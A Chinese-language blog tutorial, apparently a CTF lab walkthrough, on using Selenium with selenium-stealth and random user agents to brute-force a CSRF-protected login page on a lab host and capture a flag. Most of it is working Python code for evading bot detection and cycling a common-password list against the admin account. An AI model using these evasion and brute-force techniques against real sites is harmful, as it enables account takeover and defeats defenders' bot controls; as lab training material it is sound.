浏览器自动化工具在渗透测试中的实战应用

本文详细介绍了如何利用Selenium浏览器自动化工具进行渗透测试实战,包括绕过CSRF防护、实现隐身模式配置、执行暴力破解攻击等核心技术。通过具体代码示例演示了自动化登录流程的实现方法,为安全研究人员提供了实用的技术参考。

浏览器自动化工具实战指南

我是Chetan Chinchulkar(又名omnipresent),一名充满激情的网络安全爱好者和软件开发工程师。白天我是SDE,夜晚则是CTF addict!目前位列TryHackMe全球前1%,我利用业余时间深入参与CTF竞赛、hackthebox挑战,解决网络谜题,并痴迷于学习修复(和攻破)系统的新方法。

为什么使用浏览器自动化?

当您自动化浏览器时,就不再需要手动突破加密层。相反,您可以让浏览器像合法用户一样完成繁重的工作。应用程序中运行的JavaScript在客户端执行所有逻辑,包括自定义加密和DOM操作。

通过使用浏览器自动化工具,您可以像真实用户一样与应用程序交互。这意味着浏览器会为您完成所有处理。一旦最终负载或响应被渲染或转换,您的自动化程序只需简单提取即可。

这使得浏览器自动化工具在以下场景中极其有用:

  • 绕过验证码和客户端限制 - 由于模拟真实交互,许多机器人检测机制会变得无效。某些浏览器自动化工具甚至允许注入浏览器上下文,这意味着自动化软件使用的浏览器将建立信任以绕过机器人检测机制。

  • 触发多步骤工作流 - 某些漏洞利用需要跨多个屏幕或用户操作与应用程序交互。浏览器自动化使您能够流畅地链接这些步骤。

  • 提取渲染或动态生成的值 - 通常,您需要的数据或令牌只有在JavaScript执行后才会出现。浏览器自动化让您直接访问实时DOM和渲染值。

简而言之,浏览器自动化工具让您能够顺应应用程序的逻辑而不是与之对抗。通过以用户方式导航应用程序,您可以绕过客户端控制、提取动态数据,并构建更具弹性和真实性的漏洞利用。

技术实现方案

我们将使用Selenium,因为它易于使用、支持Python并具有广泛的浏览器兼容性。Selenium是一个强大的浏览器自动化工具,常用于测试、网络爬虫,甚至模拟用户行为进行渗透测试。

在分析脚本之前,让我们了解一些使用Selenium自动化Web交互的基本概念:

  • WebDriver:Selenium的WebDriver控制浏览器,允许我们导航页面、交互元素和提取数据。
  • 元素识别:Selenium提供多种方法通过ID、Name或XPath等属性定位和交互元素。
  • 无头模式:在没有图形界面的情况下运行浏览器的方式,使自动化更快更高效。
  • CSRF保护:Web应用程序通常使用跨站请求伪造令牌防止恶意请求。使用Selenium时,由于我们使用浏览器,CSRF令牌总是动态生成并与每个请求一起提交。
  • 隐身技术:Selenium Stealth通过模拟人类行为和掩盖自动化指纹来防止检测。

实战案例:暴力破解攻击

托管在http://SECOND_VM_IP/labs/lab1/的Web应用程序使用CSRF令牌验证每个登录请求。目标是使用基于Selenium的脚本来执行暴力破解攻击,确定正确密码。

脚本概述

VNC虚拟机中提供的Python脚本使用Selenium尝试使用密码字典进行登录尝试。以下是详细分解:

1
2
3
4
5
6
7
8
from selenium.webdriver.common.by import By
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium_stealth import stealth
import time
import logging
from fake_useragent import UserAgent
  • Selenium WebDriver控制Chrome浏览器进行自动化
  • selenium_stealth用于防止机器人检测
  • fake_useragent生成真实的浏览器指纹以避免检测

步骤2 — 配置浏览器

使用各种Chrome选项配置浏览器以获得最佳性能和隐身效果:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
options = Options()
ua = UserAgent()
userAgent = ua.random
options.add_argument('--no-sandbox')
options.add_argument('--headless')
options.add_argument("start-maximized")
options.add_argument(f'user-agent={userAgent}')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-cache')
options.add_argument('--disable-gpu')
  • --no-sandbox:防止Chrome使用沙盒模式,在Docker或root用户运行时通常需要
  • --headless:在没有图形用户界面的情况下运行Chrome,使其更快更高效
  • start-maximized:确保浏览器完全最大化,防止响应式布局问题
  • f'user-agent={userAgent}':生成随机浏览器用户代理,帮助脚本逃避检测
  • --disable-dev-shm-usage:防止Docker容器中的内存限制
  • --disable-cache:确保浏览器为每次尝试获取新数据

步骤3 — 实现隐身技术

为防止检测,脚本使用selenium-stealth修改浏览器行为以模拟合法用户:

1
2
3
4
5
6
7
8
stealth(chrome,
    languages=["en-US", "en"],
    vendor="Google Inc.",
    platform="Win32",
    webgl_vendor="Intel Inc.",
    renderer="Intel Iris OpenGL Engine",
    fix_hairline=True,
)
  • 语言和供应商:模拟常见浏览器语言和供应商配置
  • WebGL供应商和渲染器:掩盖GPU细节以避免指纹检测
  • 修复发丝线:修复可能指示无头模式的渲染差异

执行暴力破解攻击

脚本使用Selenium尝试使用密码列表进行登录尝试。工作原理如下:

1
2
3
4
5
ip = 'http://SECOND_VM_IP/labs/lab1/'
login_url = f'{ip}/index.php'
dashboard_url = f'{ip}/dashboard.php'
username = "admin"
passwords = ["123456", "admin", "letmein", "pass123", "password"]
  • 目标URL:定义应用程序的登录URL和仪表板URL
  • 用户名:所有尝试都使用admin用户名
  • 密码列表:使用一组常见弱密码进行暴力破解

步骤1 — 表单提交

每个密码使用Selenium的find_element()方法提交:

1
2
3
4
5
chrome.get(login_url)
time.sleep(0.5)
chrome.find_element(By.NAME, "username").send_keys(username)
chrome.find_element(By.NAME, "password").send_keys(password)
chrome.find_element(By.TAG_NAME, "form").submit()
  • chrome.get()加载登录页面
  • .find_element()使用name属性定位用户名和密码输入字段
  • .send_keys()模拟在字段中输入
  • .submit()提交表单

步骤2 — 验证登录尝试

提交表单后,脚本通过验证浏览器是否重定向到仪表板来检查登录是否成功:

1
2
3
4
5
6
7
8
if dashboard_url in chrome.current_url:
    print(f"[+] Login successful with password: {password}")
    flag_element = chrome.find_element(By.TAG_NAME, "p")
    flag = flag_element.text.strip()
    print(f"[+] {flag}")
    break
else:
    print(f"[-] Failed login with: {password}")
  • URL检查:如果当前URL匹配dashboard_url,脚本假定登录成功
  • 提取Flag:成功登录后,脚本使用find_element()提取并打印flag

执行脚本

要从VNC虚拟机终端执行脚本,请运行以下命令:

1
2
3
$ cd ~/Desktop/101Selenium
$ source env/bin/activate
$ python3 lab1.py

如果找到有效密码,输出将显示成功的凭据:

1
2
3
[-] Failed login with: 123456
[--snip--]
[+] Flag: FLAG{***********************}

您可以在GitHub获取lab1.py的完整代码:Chetan-Chinchulkar/browser-automation

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计